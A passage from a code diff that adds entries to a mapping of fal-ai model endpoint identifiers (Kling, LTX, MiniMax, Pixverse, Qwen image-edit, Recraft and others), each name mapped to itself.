'fal-ai/kling-video/o3/standard/text-to-video', + 'fal-ai/kling-video/o3/standard/video-to-video/edit': + 'fal-ai/kling-video/o3/standard/video-to-video/edit', + 'fal-ai/kling-video/o3/standard/video-to-video/reference': + 'fal-ai/kling-video/o3/standard/video-to-video/reference', + 'fal-ai/kling-video/v1.5/pro/effects': 'fal-ai/kling-video/v1.5/pro/effects', + 'fal-ai/kling-video/v1.6/pro/effects': 'fal-ai/kling-video/v1.6/pro/effects', + 'fal-ai/kling-video/v1.6/standard/effects': + 'fal-ai/kling-video/v1.6/standard/effects', + 'fal-ai/kling-video/v1/pro/ai-avatar': 'fal-ai/kling-video/v1/pro/ai-avatar', + 'fal-ai/kling-video/v1/standard/ai-avatar': + 'fal-ai/kling-video/v1/standard/ai-avatar', + 'fal-ai/kling-video/v1/standard/effects': + 'fal-ai/kling-video/v1/standard/effects', + 'fal-ai/kling-video/v1/tts': 'fal-ai/kling-video/v1/tts', + 'fal-ai/kling-video/v2.5-turbo/pro/image-to-video': + 'fal-ai/kling-video/v2.5-turbo/pro/image-to-video', + 'fal-ai/kling-video/v2.5-turbo/pro/text-to-video': + 'fal-ai/kling-video/v2.5-turbo/pro/text-to-video', + 'fal-ai/kling-video/v2.5-turbo/standard/image-to-video': + 'fal-ai/kling-video/v2.5-turbo/standard/image-to-video', + 'fal-ai/kling-video/v2.6/pro/image-to-video': + 'fal-ai/kling-video/v2.6/pro/image-to-video', + 'fal-ai/kling-video/v2.6/pro/motion-control': + 'fal-ai/kling-video/v2.6/pro/motion-control', + 'fal-ai/kling-video/v2.6/pro/text-to-video': + 'fal-ai/kling-video/v2.6/pro/text-to-video', + 'fal-ai/kling-video/v2.6/standard/motion-control': + 'fal-ai/kling-video/v2.6/standard/motion-control', + 'fal-ai/kling-video/v3/4k/image-to-video': + 'fal-ai/kling-video/v3/4k/image-to-video', + 'fal-ai/kling-video/v3/4k/text-to-video': + 'fal-ai/kling-video/v3/4k/text-to-video', + 'fal-ai/kling-video/v3/pro/image-to-video': + 'fal-ai/kling-video/v3/pro/image-to-video', + 'fal-ai/kling-video/v3/pro/motion-control': + 'fal-ai/kling-video/v3/pro/motion-control', + 'fal-ai/kling-video/v3/pro/text-to-video': + 'fal-ai/kling-video/v3/pro/text-to-video', + 'fal-ai/kling-video/v3/standard/image-to-video': + 'fal-ai/kling-video/v3/standard/image-to-video', + 'fal-ai/kling-video/v3/standard/motion-control': + 'fal-ai/kling-video/v3/standard/motion-control', + 'fal-ai/kling-video/v3/standard/text-to-video': + 'fal-ai/kling-video/v3/standard/text-to-video', + 'fal-ai/kling-video/v3/turbo/pro/image-to-video': + 'fal-ai/kling-video/v3/turbo/pro/image-to-video', + 'fal-ai/kling-video/v3/turbo/pro/text-to-video': + 'fal-ai/kling-video/v3/turbo/pro/text-to-video', + 'fal-ai/kling-video/v3/turbo/standard/image-to-video': + 'fal-ai/kling-video/v3/turbo/standard/image-to-video', + 'fal-ai/kling-video/v3/turbo/standard/text-to-video': + 'fal-ai/kling-video/v3/turbo/standard/text-to-video', + 'fal-ai/kling-video/video-to-audio': 'fal-ai/kling-video/video-to-audio', + 'fal-ai/kokoro/american-english': 'fal-ai/kokoro/american-english', + 'fal-ai/kokoro/brazilian-portuguese': 'fal-ai/kokoro/brazilian-portuguese', + 'fal-ai/kokoro/british-english': 'fal-ai/kokoro/british-english', + 'fal-ai/kokoro/french': 'fal-ai/kokoro/french', + 'fal-ai/kokoro/hindi': 'fal-ai/kokoro/hindi', + 'fal-ai/kokoro/italian': 'fal-ai/kokoro/italian', + 'fal-ai/kokoro/japanese': 'fal-ai/kokoro/japanese', + 'fal-ai/kokoro/mandarin-chinese': 'fal-ai/kokoro/mandarin-chinese', + 'fal-ai/kokoro/spanish': 'fal-ai/kokoro/spanish', + 'fal-ai/kolors': 'fal-ai/kolors', + 'fal-ai/kolors/image-to-image': 'fal-ai/kolors/image-to-image', + 'fal-ai/krea-2/turbo': 'fal-ai/krea-2/turbo', + 'fal-ai/krea-2/turbo/lora': 'fal-ai/krea-2/turbo/lora', + 'fal-ai/krea-2/turbo/style': 'fal-ai/krea-2/turbo/style', + 'fal-ai/krea-wan-14b/text-to-video': 'fal-ai/krea-wan-14b/text-to-video', + 'fal-ai/krea-wan-14b/video-to-video': 'fal-ai/krea-wan-14b/video-to-video', + 'fal-ai/latentsync': 'fal-ai/latentsync', + 'fal-ai/leffa/pose-transfer': 'fal-ai/leffa/pose-transfer', + 'fal-ai/leffa/virtual-tryon': 'fal-ai/leffa/virtual-tryon', + 'fal-ai/lightx/recamera': 'fal-ai/lightx/recamera', + 'fal-ai/lightx/relight': 'fal-ai/lightx/relight', + 'fal-ai/live-portrait': 'fal-ai/live-portrait', + 'fal-ai/live-portrait/image': 'fal-ai/live-portrait/image', + 'fal-ai/longcat-image': 'fal-ai/longcat-image', + 'fal-ai/longcat-image/edit': 'fal-ai/longcat-image/edit', + 'fal-ai/longcat-single-avatar/audio-to-video': + 'fal-ai/longcat-single-avatar/audio-to-video', + 'fal-ai/longcat-single-avatar/image-audio-to-video': + 'fal-ai/longcat-single-avatar/image-audio-to-video', + 'fal-ai/longcat-video/distilled/image-to-video/480p': + 'fal-ai/longcat-video/distilled/image-to-video/480p', + 'fal-ai/longcat-video/distilled/image-to-video/720p': + 'fal-ai/longcat-video/distilled/image-to-video/720p', + 'fal-ai/longcat-video/distilled/text-to-video/480p': + 'fal-ai/longcat-video/distilled/text-to-video/480p', + 'fal-ai/longcat-video/distilled/text-to-video/720p': + 'fal-ai/longcat-video/distilled/text-to-video/720p', + 'fal-ai/longcat-video/image-to-video/480p': + 'fal-ai/longcat-video/image-to-video/480p', + 'fal-ai/longcat-video/image-to-video/720p': + 'fal-ai/longcat-video/image-to-video/720p', + 'fal-ai/longcat-video/text-to-video/480p': + 'fal-ai/longcat-video/text-to-video/480p', + 'fal-ai/longcat-video/text-to-video/720p': + 'fal-ai/longcat-video/text-to-video/720p', + 'fal-ai/lora': 'fal-ai/lora', + 'fal-ai/lora/image-to-image': 'fal-ai/lora/image-to-image', + 'fal-ai/lora/inpaint': 'fal-ai/lora/inpaint', + 'fal-ai/ltx-2.3-22b/audio-to-video': 'fal-ai/ltx-2.3-22b/audio-to-video', + 'fal-ai/ltx-2.3-22b/audio-to-video/lora': + 'fal-ai/ltx-2.3-22b/audio-to-video/lora', + 'fal-ai/ltx-2.3-22b/distilled/audio-to-video': + 'fal-ai/ltx-2.3-22b/distilled/audio-to-video', + 'fal-ai/ltx-2.3-22b/distilled/audio-to-video/lora': + 'fal-ai/ltx-2.3-22b/distilled/audio-to-video/lora', + 'fal-ai/ltx-2.3-22b/distilled/image-to-video': + 'fal-ai/ltx-2.3-22b/distilled/image-to-video', + 'fal-ai/ltx-2.3-22b/distilled/image-to-video/lora': + 'fal-ai/ltx-2.3-22b/distilled/image-to-video/lora', + 'fal-ai/ltx-2.3-22b/distilled/reference-video-to-video': + 'fal-ai/ltx-2.3-22b/distilled/reference-video-to-video', + 'fal-ai/ltx-2.3-22b/distilled/reference-video-to-video/lora': + 'fal-ai/ltx-2.3-22b/distilled/reference-video-to-video/lora', + 'fal-ai/ltx-2.3-22b/distilled/text-to-video': + 'fal-ai/ltx-2.3-22b/distilled/text-to-video', + 'fal-ai/ltx-2.3-22b/distilled/text-to-video/lora': + 'fal-ai/ltx-2.3-22b/distilled/text-to-video/lora', + 'fal-ai/ltx-2.3-22b/distilled/video-to-video': + 'fal-ai/ltx-2.3-22b/distilled/video-to-video', + 'fal-ai/ltx-2.3-22b/distilled/video-to-video/lora': + 'fal-ai/ltx-2.3-22b/distilled/video-to-video/lora', + 'fal-ai/ltx-2.3-22b/extend-video': 'fal-ai/ltx-2.3-22b/extend-video', + 'fal-ai/ltx-2.3-22b/extend-video/lora': + 'fal-ai/ltx-2.3-22b/extend-video/lora', + 'fal-ai/ltx-2.3-22b/image-to-video': 'fal-ai/ltx-2.3-22b/image-to-video', + 'fal-ai/ltx-2.3-22b/image-to-video/lora': + 'fal-ai/ltx-2.3-22b/image-to-video/lora', + 'fal-ai/ltx-2.3-22b/reference-video-to-video': + 'fal-ai/ltx-2.3-22b/reference-video-to-video', + 'fal-ai/ltx-2.3-22b/reference-video-to-video/lora': + 'fal-ai/ltx-2.3-22b/reference-video-to-video/lora', + 'fal-ai/ltx-2.3-22b/text-to-video': 'fal-ai/ltx-2.3-22b/text-to-video', + 'fal-ai/ltx-2.3-22b/text-to-video/lora': + 'fal-ai/ltx-2.3-22b/text-to-video/lora', + 'fal-ai/ltx-2.3-22b/video-to-video': 'fal-ai/ltx-2.3-22b/video-to-video', + 'fal-ai/ltx-2.3-22b/video-to-video/lora': + 'fal-ai/ltx-2.3-22b/video-to-video/lora', + 'fal-ai/ltx-2.3-quality/audio-to-video': + 'fal-ai/ltx-2.3-quality/audio-to-video', + 'fal-ai/ltx-2.3-quality/audio-to-video/lora': + 'fal-ai/ltx-2.3-quality/audio-to-video/lora', + 'fal-ai/ltx-2.3-quality/clean-plate': 'fal-ai/ltx-2.3-quality/clean-plate', + 'fal-ai/ltx-2.3-quality/colorization': 'fal-ai/ltx-2.3-quality/colorization', + 'fal-ai/ltx-2.3-quality/cross-eyed': 'fal-ai/ltx-2.3-quality/cross-eyed', + 'fal-ai/ltx-2.3-quality/day-to-night': 'fal-ai/ltx-2.3-quality/day-to-night', + 'fal-ai/ltx-2.3-quality/deblur': 'fal-ai/ltx-2.3-quality/deblur', + 'fal-ai/ltx-2.3-quality/decompression': + 'fal-ai/ltx-2.3-quality/decompression', + 'fal-ai/ltx-2.3-quality/extend-video': 'fal-ai/ltx-2.3-quality/extend-video', + 'fal-ai/ltx-2.3-quality/extend-video/lora': + 'fal-ai/ltx-2.3-quality/extend-video/lora', + 'fal-ai/ltx-2.3-quality/hdr': 'fal-ai/ltx-2.3-quality/hdr', + 'fal-ai/ltx-2.3-quality/hdr/lora': 'fal-ai/ltx-2.3-quality/hdr/lora', + 'fal-ai/ltx-2.3-quality/image-to-video': + 'fal-ai/ltx-2.3-quality/image-to-video', + 'fal-ai/ltx-2.3-quality/image-to-video/lora': + 'fal-ai/ltx-2.3-quality/image-to-video/lora', + 'fal-ai/ltx-2.3-quality/ingredient': 'fal-ai/ltx-2.3-quality/ingredient', + 'fal-ai/ltx-2.3-quality/inpaint': 'fal-ai/ltx-2.3-quality/inpaint', + 'fal-ai/ltx-2.3-quality/inpaint/lora': 'fal-ai/ltx-2.3-quality/inpaint/lora', + 'fal-ai/ltx-2.3-quality/instant-shave': + 'fal-ai/ltx-2.3-quality/instant-shave', + 'fal-ai/ltx-2.3-quality/outpaint': 'fal-ai/ltx-2.3-quality/outpaint', + 'fal-ai/ltx-2.3-quality/outpaint/lora': + 'fal-ai/ltx-2.3-quality/outpaint/lora', + 'fal-ai/ltx-2.3-quality/reference-video-to-video': + 'fal-ai/ltx-2.3-quality/reference-video-to-video', + 'fal-ai/ltx-2.3-quality/reference-video-to-video/lora': + 'fal-ai/ltx-2.3-quality/reference-video-to-video/lora', + 'fal-ai/ltx-2.3-quality/render-to-real': + 'fal-ai/ltx-2.3-quality/render-to-real', + 'fal-ai/ltx-2.3-quality/text-to-audio': + 'fal-ai/ltx-2.3-quality/text-to-audio', + 'fal-ai/ltx-2.3-quality/text-to-audio/lora': + 'fal-ai/ltx-2.3-quality/text-to-audio/lora', + 'fal-ai/ltx-2.3-quality/text-to-video': + 'fal-ai/ltx-2.3-quality/text-to-video', + 'fal-ai/ltx-2.3-quality/text-to-video/lora': + 'fal-ai/ltx-2.3-quality/text-to-video/lora', + 'fal-ai/ltx-2.3-quality/water-simulation': + 'fal-ai/ltx-2.3-quality/water-simulation', + 'fal-ai/ltx-2.3/audio-to-video': 'fal-ai/ltx-2.3/audio-to-video', + 'fal-ai/ltx-2.3/extend-video': 'fal-ai/ltx-2.3/extend-video', + 'fal-ai/ltx-2.3/image-to-video': 'fal-ai/ltx-2.3/image-to-video', + 'fal-ai/ltx-2.3/image-to-video/fast': 'fal-ai/ltx-2.3/image-to-video/fast', + 'fal-ai/ltx-2.3/reframe': 'fal-ai/ltx-2.3/reframe', + 'fal-ai/ltx-2.3/retake-video': 'fal-ai/ltx-2.3/retake-video', + 'fal-ai/ltx-2.3/text-to-video': 'fal-ai/ltx-2.3/text-to-video', + 'fal-ai/ltx-2.3/text-to-video/fast': 'fal-ai/ltx-2.3/text-to-video/fast', + 'fal-ai/ltx-video': 'fal-ai/ltx-video', + 'fal-ai/ltx-video-13b-distilled': 'fal-ai/ltx-video-13b-distilled', + 'fal-ai/ltx-video-13b-distilled/extend': + 'fal-ai/ltx-video-13b-distilled/extend', + 'fal-ai/ltx-video-13b-distilled/image-to-video': + 'fal-ai/ltx-video-13b-distilled/image-to-video', + 'fal-ai/ltx-video-13b-distilled/multiconditioning': + 'fal-ai/ltx-video-13b-distilled/multiconditioning', + 'fal-ai/ltx-video/image-to-video': 'fal-ai/ltx-video/image-to-video', + 'fal-ai/ltxv-13b-098-distilled': 'fal-ai/ltxv-13b-098-distilled', + 'fal-ai/ltxv-13b-098-distilled/extend': + 'fal-ai/ltxv-13b-098-distilled/extend', + 'fal-ai/ltxv-13b-098-distilled/image-to-video': + 'fal-ai/ltxv-13b-098-distilled/image-to-video', + 'fal-ai/ltxv-13b-098-distilled/multiconditioning': + 'fal-ai/ltxv-13b-098-distilled/multiconditioning', + 'fal-ai/luma-photon': 'fal-ai/luma-photon', + 'fal-ai/luma-photon/flash': 'fal-ai/luma-photon/flash', + 'fal-ai/luma-photon/flash/modify': 'fal-ai/luma-photon/flash/modify', + 'fal-ai/luma-photon/flash/reframe': 'fal-ai/luma-photon/flash/reframe', + 'fal-ai/luma-photon/modify': 'fal-ai/luma-photon/modify', + 'fal-ai/luma-photon/reframe': 'fal-ai/luma-photon/reframe', + 'fal-ai/lumina-image/v2': 'fal-ai/lumina-image/v2', + 'fal-ai/lyria2': 'fal-ai/lyria2', + 'fal-ai/lyria3': 'fal-ai/lyria3', + 'fal-ai/lyria3/pro': 'fal-ai/lyria3/pro', + 'fal-ai/magi-distilled': 'fal-ai/magi-distilled', + 'fal-ai/magi-distilled/extend-video': 'fal-ai/magi-distilled/extend-video', + 'fal-ai/magi-distilled/image-to-video': + 'fal-ai/magi-distilled/image-to-video', + 'fal-ai/marigold-v2': 'fal-ai/marigold-v2', + 'fal-ai/minimax-music': 'fal-ai/minimax-music', + 'fal-ai/minimax-music/v1.5': 'fal-ai/minimax-music/v1.5', + 'fal-ai/minimax-music/v2': 'fal-ai/minimax-music/v2', + 'fal-ai/minimax-music/v2.5': 'fal-ai/minimax-music/v2.5', + 'fal-ai/minimax-music/v2.6': 'fal-ai/minimax-music/v2.6', + 'fal-ai/minimax/hailuo-02-fast/image-to-video': + 'fal-ai/minimax/hailuo-02-fast/image-to-video', + 'fal-ai/minimax/hailuo-02/pro/image-to-video': + 'fal-ai/minimax/hailuo-02/pro/image-to-video', + 'fal-ai/minimax/hailuo-02/pro/text-to-video': + 'fal-ai/minimax/hailuo-02/pro/text-to-video', + 'fal-ai/minimax/hailuo-02/standard/image-to-video': + 'fal-ai/minimax/hailuo-02/standard/image-to-video', + 'fal-ai/minimax/hailuo-02/standard/text-to-video': + 'fal-ai/minimax/hailuo-02/standard/text-to-video', + 'fal-ai/minimax/hailuo-2.3-fast/pro/image-to-video': + 'fal-ai/minimax/hailuo-2.3-fast/pro/image-to-video', + 'fal-ai/minimax/hailuo-2.3-fast/standard/image-to-video': + 'fal-ai/minimax/hailuo-2.3-fast/standard/image-to-video', + 'fal-ai/minimax/hailuo-2.3/pro/image-to-video': + 'fal-ai/minimax/hailuo-2.3/pro/image-to-video', + 'fal-ai/minimax/hailuo-2.3/pro/text-to-video': + 'fal-ai/minimax/hailuo-2.3/pro/text-to-video', + 'fal-ai/minimax/hailuo-2.3/standard/image-to-video': + 'fal-ai/minimax/hailuo-2.3/standard/image-to-video', + 'fal-ai/minimax/hailuo-2.3/standard/text-to-video': + 'fal-ai/minimax/hailuo-2.3/standard/text-to-video', + 'fal-ai/minimax/image-01': 'fal-ai/minimax/image-01', + 'fal-ai/minimax/image-01/subject-reference': + 'fal-ai/minimax/image-01/subject-reference', + 'fal-ai/minimax/preview/speech-2.5-hd': + 'fal-ai/minimax/preview/speech-2.5-hd', + 'fal-ai/minimax/preview/speech-2.5-turbo': + 'fal-ai/minimax/preview/speech-2.5-turbo', + 'fal-ai/minimax/speech-02-hd': 'fal-ai/minimax/speech-02-hd', + 'fal-ai/minimax/speech-02-turbo': 'fal-ai/minimax/speech-02-turbo', + 'fal-ai/minimax/speech-2.6-hd': 'fal-ai/minimax/speech-2.6-hd', + 'fal-ai/minimax/speech-2.6-turbo': 'fal-ai/minimax/speech-2.6-turbo', + 'fal-ai/minimax/speech-2.8-hd': 'fal-ai/minimax/speech-2.8-hd', + 'fal-ai/minimax/speech-2.8-turbo': 'fal-ai/minimax/speech-2.8-turbo', + 'fal-ai/minimax/video-01': 'fal-ai/minimax/video-01', + 'fal-ai/minimax/video-01-director': 'fal-ai/minimax/video-01-director', + 'fal-ai/minimax/video-01-director/image-to-video': + 'fal-ai/minimax/video-01-director/image-to-video', + 'fal-ai/minimax/video-01-live': 'fal-ai/minimax/video-01-live', + 'fal-ai/minimax/video-01-live/image-to-video': + 'fal-ai/minimax/video-01-live/image-to-video', + 'fal-ai/minimax/video-01-subject-reference': + 'fal-ai/minimax/video-01-subject-reference', + 'fal-ai/minimax/video-01/image-to-video': + 'fal-ai/minimax/video-01/image-to-video', + 'fal-ai/minimax/voice-clone': 'fal-ai/minimax/voice-clone', + 'fal-ai/minimax/voice-design': 'fal-ai/minimax/voice-design', + 'fal-ai/mmaudio-v2': 'fal-ai/mmaudio-v2', + 'fal-ai/mmaudio-v2/text-to-audio': 'fal-ai/mmaudio-v2/text-to-audio', + 'fal-ai/moondream-next/detection': 'fal-ai/moondream-next/detection', + 'fal-ai/moondream3-preview/segment': 'fal-ai/moondream3-preview/segment', + 'fal-ai/moss-image': 'fal-ai/moss-image', + 'fal-ai/motion-to-code/glsl': 'fal-ai/motion-to-code/glsl', + 'fal-ai/motion-to-code/gsap': 'fal-ai/motion-to-code/gsap', + 'fal-ai/nafnet/deblur': 'fal-ai/nafnet/deblur', + 'fal-ai/nafnet/denoise': 'fal-ai/nafnet/denoise', + 'fal-ai/nano-banana': 'fal-ai/nano-banana', + 'fal-ai/nano-banana-2': 'fal-ai/nano-banana-2', + 'fal-ai/nano-banana-2/edit': 'fal-ai/nano-banana-2/edit', + 'fal-ai/nano-banana-pro': 'fal-ai/nano-banana-pro', + 'fal-ai/nano-banana-pro/edit': 'fal-ai/nano-banana-pro/edit', + 'fal-ai/nano-banana/edit': 'fal-ai/nano-banana/edit', + 'fal-ai/nucleus-image': 'fal-ai/nucleus-image', + 'fal-ai/object-removal': 'fal-ai/object-removal', + 'fal-ai/object-removal/bbox': 'fal-ai/object-removal/bbox', + 'fal-ai/object-removal/mask': 'fal-ai/object-removal/mask', + 'fal-ai/omnigen-v2': 'fal-ai/omnigen-v2', + 'fal-ai/one-to-all-animation/1.3b': 'fal-ai/one-to-all-animation/1.3b', + 'fal-ai/one-to-all-animation/14b': 'fal-ai/one-to-all-animation/14b', + 'fal-ai/orpheus-tts': 'fal-ai/orpheus-tts', + 'fal-ai/ovi': 'fal-ai/ovi', + 'fal-ai/ovi/image-to-video': 'fal-ai/ovi/image-to-video', + 'fal-ai/patina': 'fal-ai/patina', + 'fal-ai/patina/material': 'fal-ai/patina/material', + 'fal-ai/patina/material/extract': 'fal-ai/patina/material/extract', + 'fal-ai/phota': 'fal-ai/phota', + 'fal-ai/phota/edit': 'fal-ai/phota/edit', + 'fal-ai/phota/enhance': 'fal-ai/phota/enhance', + 'fal-ai/pixverse/c1/image-to-video': 'fal-ai/pixverse/c1/image-to-video', + 'fal-ai/pixverse/c1/reference-to-video': + 'fal-ai/pixverse/c1/reference-to-video', + 'fal-ai/pixverse/c1/text-to-video': 'fal-ai/pixverse/c1/text-to-video', + 'fal-ai/pixverse/c1/transition': 'fal-ai/pixverse/c1/transition', + 'fal-ai/pixverse/extend': 'fal-ai/pixverse/extend', + 'fal-ai/pixverse/extend/fast': 'fal-ai/pixverse/extend/fast', + 'fal-ai/pixverse/lipsync': 'fal-ai/pixverse/lipsync', + 'fal-ai/pixverse/sound-effects': 'fal-ai/pixverse/sound-effects', + 'fal-ai/pixverse/swap': 'fal-ai/pixverse/swap', + 'fal-ai/pixverse/v3.5/effects': 'fal-ai/pixverse/v3.5/effects', + 'fal-ai/pixverse/v3.5/image-to-video': 'fal-ai/pixverse/v3.5/image-to-video', + 'fal-ai/pixverse/v3.5/image-to-video/fast': + 'fal-ai/pixverse/v3.5/image-to-video/fast', + 'fal-ai/pixverse/v3.5/text-to-video': 'fal-ai/pixverse/v3.5/text-to-video', + 'fal-ai/pixverse/v3.5/text-to-video/fast': + 'fal-ai/pixverse/v3.5/text-to-video/fast', + 'fal-ai/pixverse/v3.5/transition': 'fal-ai/pixverse/v3.5/transition', + 'fal-ai/pixverse/v4.5/effects': 'fal-ai/pixverse/v4.5/effects', + 'fal-ai/pixverse/v4.5/image-to-video': 'fal-ai/pixverse/v4.5/image-to-video', + 'fal-ai/pixverse/v4.5/image-to-video/fast': + 'fal-ai/pixverse/v4.5/image-to-video/fast', + 'fal-ai/pixverse/v4.5/text-to-video': 'fal-ai/pixverse/v4.5/text-to-video', + 'fal-ai/pixverse/v4.5/text-to-video/fast': + 'fal-ai/pixverse/v4.5/text-to-video/fast', + 'fal-ai/pixverse/v4.5/transition': 'fal-ai/pixverse/v4.5/transition', + 'fal-ai/pixverse/v4/effects': 'fal-ai/pixverse/v4/effects', + 'fal-ai/pixverse/v4/image-to-video': 'fal-ai/pixverse/v4/image-to-video', + 'fal-ai/pixverse/v4/image-to-video/fast': + 'fal-ai/pixverse/v4/image-to-video/fast', + 'fal-ai/pixverse/v4/text-to-video': 'fal-ai/pixverse/v4/text-to-video', + 'fal-ai/pixverse/v4/text-to-video/fast': + 'fal-ai/pixverse/v4/text-to-video/fast', + 'fal-ai/pixverse/v5.5/effects': 'fal-ai/pixverse/v5.5/effects', + 'fal-ai/pixverse/v5.5/image-to-video': 'fal-ai/pixverse/v5.5/image-to-video', + 'fal-ai/pixverse/v5.5/text-to-video': 'fal-ai/pixverse/v5.5/text-to-video', + 'fal-ai/pixverse/v5.5/transition': 'fal-ai/pixverse/v5.5/transition', + 'fal-ai/pixverse/v5.6/image-to-video': 'fal-ai/pixverse/v5.6/image-to-video', + 'fal-ai/pixverse/v5.6/text-to-video': 'fal-ai/pixverse/v5.6/text-to-video', + 'fal-ai/pixverse/v5.6/transition': 'fal-ai/pixverse/v5.6/transition', + 'fal-ai/pixverse/v5/effects': 'fal-ai/pixverse/v5/effects', + 'fal-ai/pixverse/v5/image-to-video': 'fal-ai/pixverse/v5/image-to-video', + 'fal-ai/pixverse/v5/text-to-video': 'fal-ai/pixverse/v5/text-to-video', + 'fal-ai/pixverse/v5/transition': 'fal-ai/pixverse/v5/transition', + 'fal-ai/pixverse/v6/extend': 'fal-ai/pixverse/v6/extend', + 'fal-ai/pixverse/v6/image-to-video': 'fal-ai/pixverse/v6/image-to-video', + 'fal-ai/pixverse/v6/text-to-video': 'fal-ai/pixverse/v6/text-to-video', + 'fal-ai/pixverse/v6/transition': 'fal-ai/pixverse/v6/transition', + 'fal-ai/post-processing': 'fal-ai/post-processing', + 'fal-ai/post-processing/blur': 'fal-ai/post-processing/blur', + 'fal-ai/post-processing/chromatic-aberration': + 'fal-ai/post-processing/chromatic-aberration', + 'fal-ai/post-processing/color-correction': + 'fal-ai/post-processing/color-correction', + 'fal-ai/post-processing/color-tint': 'fal-ai/post-processing/color-tint', + 'fal-ai/post-processing/desaturate': 'fal-ai/post-processing/desaturate', + 'fal-ai/post-processing/dissolve': 'fal-ai/post-processing/dissolve', + 'fal-ai/post-processing/dodge-burn': 'fal-ai/post-processing/dodge-burn', + 'fal-ai/post-processing/grain': 'fal-ai/post-processing/grain', + 'fal-ai/post-processing/parabolize': 'fal-ai/post-processing/parabolize', + 'fal-ai/post-processing/sharpen': 'fal-ai/post-processing/sharpen', + 'fal-ai/post-processing/solarize': 'fal-ai/post-processing/solarize', + 'fal-ai/post-processing/vignette': 'fal-ai/post-processing/vignette', + 'fal-ai/qwen-3-tts/clone-voice/0.6b': 'fal-ai/qwen-3-tts/clone-voice/0.6b', + 'fal-ai/qwen-3-tts/clone-voice/1.7b': 'fal-ai/qwen-3-tts/clone-voice/1.7b', + 'fal-ai/qwen-3-tts/text-to-speech/0.6b': + 'fal-ai/qwen-3-tts/text-to-speech/0.6b', + 'fal-ai/qwen-3-tts/text-to-speech/1.7b': + 'fal-ai/qwen-3-tts/text-to-speech/1.7b', + 'fal-ai/qwen-3-tts/voice-design/1.7b': 'fal-ai/qwen-3-tts/voice-design/1.7b', + 'fal-ai/qwen-image': 'fal-ai/qwen-image', + 'fal-ai/qwen-image-2512': 'fal-ai/qwen-image-2512', + 'fal-ai/qwen-image-2512/lora': 'fal-ai/qwen-image-2512/lora', + 'fal-ai/qwen-image-edit-2509': 'fal-ai/qwen-image-edit-2509', + 'fal-ai/qwen-image-edit-2509-lora': 'fal-ai/qwen-image-edit-2509-lora', + 'fal-ai/qwen-image-edit-2509-lora-gallery/add-background': + 'fal-ai/qwen-image-edit-2509-lora-gallery/add-background', + 'fal-ai/qwen-image-edit-2509-lora-gallery/face-to-full-portrait': + 'fal-ai/qwen-image-edit-2509-lora-gallery/face-to-full-portrait', + 'fal-ai/qwen-image-edit-2509-lora-gallery/group-photo': + 'fal-ai/qwen-image-edit-2509-lora-gallery/group-photo', + 'fal-ai/qwen-image-edit-2509-lora-gallery/integrate-product': + 'fal-ai/qwen-image-edit-2509-lora-gallery/integrate-product', + 'fal-ai/qwen-image-edit-2509-lora-gallery/lighting-restoration': + 'fal-ai/qwen-image-edit-2509-lora-gallery/lighting-restoration', + 'fal-ai/qwen-image-edit-2509-lora-gallery/multiple-angles': + 'fal-ai/qwen-image-edit-2509-lora-gallery/multiple-angles', + 'fal-ai/qwen-image-edit-2509-lora-gallery/next-scene': + 'fal-ai/qwen-image-edit-2509-lora-gallery/next-scene', + 'fal-ai/qwen-image-edit-2509-lora-gallery/remove-element': + 'fal-ai/qwen-image-edit-2509-lora-gallery/remove-element', + 'fal-ai/qwen-image-edit-2509-lora-gallery/remove-lighting': + 'fal-ai/qwen-image-edit-2509-lora-gallery/remove-lighting', + 'fal-ai/qwen-image-edit-2509-lora-gallery/shirt-design': + 'fal-ai/qwen-image-edit-2509-lora-gallery/shirt-design', + 'fal-ai/qwen-image-edit-2511': 'fal-ai/qwen-image-edit-2511', + 'fal-ai/qwen-image-edit-2511-multiple-angles': + 'fal-ai/qwen-image-edit-2511-multiple-angles', + 'fal-ai/qwen-image-edit-2511/lora': 'fal-ai/qwen-image-edit-2511/lora', + 'fal-ai/qwen-image-edit-lora': 'fal-ai/qwen-image-edit-lora', + 'fal-ai/qwen-image-edit-plus': 'fal-ai/qwen-image-edit-plus', + 'fal-ai/qwen-image-edit-plus-lora': 'fal-ai/qwen-image-edit-plus-lora', + 'fal-ai/qwen-image-edit-plus-lora-gallery/add-background': + 'fal-ai/qwen-image-edit-plus-lora-gallery/add-background', + 'fal-ai/qwen-image-edit-plus-lora-gallery/face-to-full-portrait': + 'fal-ai/qwen-image-edit-plus-lora-gallery/face-to-full-portrait', + 'fal-ai/qwen-image-edit-plus-lora-gallery/group-photo': + 'fal-ai/qwen-image-edit-plus-lora-gallery/group-photo', + 'fal-ai/qwen-image-edit-plus-lora-gallery/integrate-product': + 'fal-ai/qwen-image-edit-plus-lora-gallery/integrate-product', + 'fal-ai/qwen-image-edit-plus-lora-gallery/lighting-restoration': + 'fal-ai/qwen-image-edit-plus-lora-gallery/lighting-restoration', + 'fal-ai/qwen-image-edit-plus-lora-gallery/multiple-angles': + 'fal-ai/qwen-image-edit-plus-lora-gallery/multiple-angles', + 'fal-ai/qwen-image-edit-plus-lora-gallery/next-scene': + 'fal-ai/qwen-image-edit-plus-lora-gallery/next-scene', + 'fal-ai/qwen-image-edit-plus-lora-gallery/remove-element': + 'fal-ai/qwen-image-edit-plus-lora-gallery/remove-element', + 'fal-ai/qwen-image-edit-plus-lora-gallery/remove-lighting': + 'fal-ai/qwen-image-edit-plus-lora-gallery/remove-lighting', + 'fal-ai/qwen-image-edit-plus-lora-gallery/shirt-design': + 'fal-ai/qwen-image-edit-plus-lora-gallery/shirt-design', + 'fal-ai/qwen-image-edit/image-to-image': + 'fal-ai/qwen-image-edit/image-to-image', + 'fal-ai/qwen-image-edit/inpaint': 'fal-ai/qwen-image-edit/inpaint', + 'fal-ai/qwen-image-layered': 'fal-ai/qwen-image-layered', + 'fal-ai/qwen-image-layered/lora': 'fal-ai/qwen-image-layered/lora', + 'fal-ai/qwen-image/image-to-image': 'fal-ai/qwen-image/image-to-image', + 'fal-ai/recraft-20b': 'fal-ai/recraft-20b', + 'fal-ai/recraft/upscale/creative': 'fal-ai/recraft/upscale/creative', + 'fal-ai/recraft/upscale/crisp': 'fal-ai/recraft/upscale/crisp', + 'fal-ai/recraft/v3/image-to-image': 'fal-ai/recraft/v3/image-to-image', + 'fal-ai/recraft/v3/text-to-image': 'fal-ai/recraft/v3/text-to-image', + 'fal-ai/recraft/v4.1/pro/text-to-image': + 'fal-ai/recraft/v4.1/pro/text-to-image', + 'fal-ai/recraft/v4.1/pro/text-to-vector': + 'fal-ai/recraft/v4.1/pro/text-to-vector', + 'fal-ai/recraft/v4.1/text-to-image': 'fal-ai/recraft/v4.1/text-to-image', + 